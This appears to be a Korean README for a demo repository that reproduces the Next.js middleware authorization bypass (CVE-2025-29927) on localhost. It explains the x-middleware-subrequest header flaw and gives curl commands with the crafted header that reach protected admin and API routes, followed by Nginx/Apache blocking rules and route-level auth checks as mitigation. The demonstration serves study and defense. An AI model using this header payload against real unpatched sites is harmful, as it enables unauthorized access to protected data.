
Next.js의 Middleware 권한 부여 우회 취약점(CVE-2025-29927)을 시연하여, 인증되지 않은 사용자가 보호된 정보에 접근할 수 있게 합니다.
이 Repo는 Next.js의 미들웨어 권한 우회 취약점(CVE-2025-29927)을 시연하는 예제 프로젝트를 제공합니다. 이 취약점으로 인해 인증되지 않은 사용자가 보호된 리소스에 접근할 수 있습니다.
CVE-2025-29927은 Next.js의 미들웨어 시스템에 영향을 미치는 심각한 보안 취약점(CVSS 점수: 9.1)입니다. 공격자는 HTTP 요청에 특수하게 조작된 x-middleware-subrequest 헤더를 추가하여 미들웨어의 보안 검사를 완전히 우회할 수 있습니다.
/admin)에 접근할 수 있습니다/api/confidential)에 접근할 수 있습니다npm install을 실행하여 dependencies를 설치합니다npm run dev를 실행하여 Next.js 개발 서버를 시작합니다http://localhost:3000을 열면 현재 웹사이트 화면을 볼 수 있습니다Next.js는 미들웨어의 재귀 호출로 인한 무한 루프를 방지하기 위해 내부 헤더 x-middleware-subrequest를 사용합니다. 그러나 이 헤더는 외부 요청에 의해 악용될 수 있습니다. 요청에 이 헤더가 포함되어 최대 재귀 깊이(MAX_RECURSION_DEPTH)에 도달하면 Next.js는 미들웨어 실행을 완전히 건너뜁니다.
먼저 보호된 경로에 정상적으로 접근해 봅니다:
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v
예상 결과: 로그인 페이지로 리디렉션됩니다(302 redirect to /login)
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v
예상 결과: 401 Unauthorized 오류가 반환됩니다
이제 특수하게 조작된 헤더를 사용하여 미들웨어를 우회합니다:
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
예상 결과: 관리자 페이지 콘텐츠에 성공적으로 접근합니다(200 OK)
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
예상 결과: API에 성공적으로 접근하여 기밀 정보를 획득합니다(200 OK)
브라우저의 개발자 도구를 사용하여 테스트할 수도 있습니다:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboard에 접속합니다미들웨어가 x-middleware-subrequest 헤더가 포함된 요청을 수신하면:
패치된 버전으로 업그레이드합니다:
즉시 업그레이드할 수 없다면 리버스 프록시(Nginx, Apache 등) 수준에서 x-middleware-subrequest 헤더가 포함된 요청을 차단할 수 있습니다:
Nginx 구성 예시:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Apache 구성 예시:
RequestHeader unset x-middleware-subrequest
미들웨어 외에도 라우트 핸들러에서 인증 검사를 구현합니다:
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
// 不要只依賴 middleware,在這裡也檢查認證
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... 處理請求
}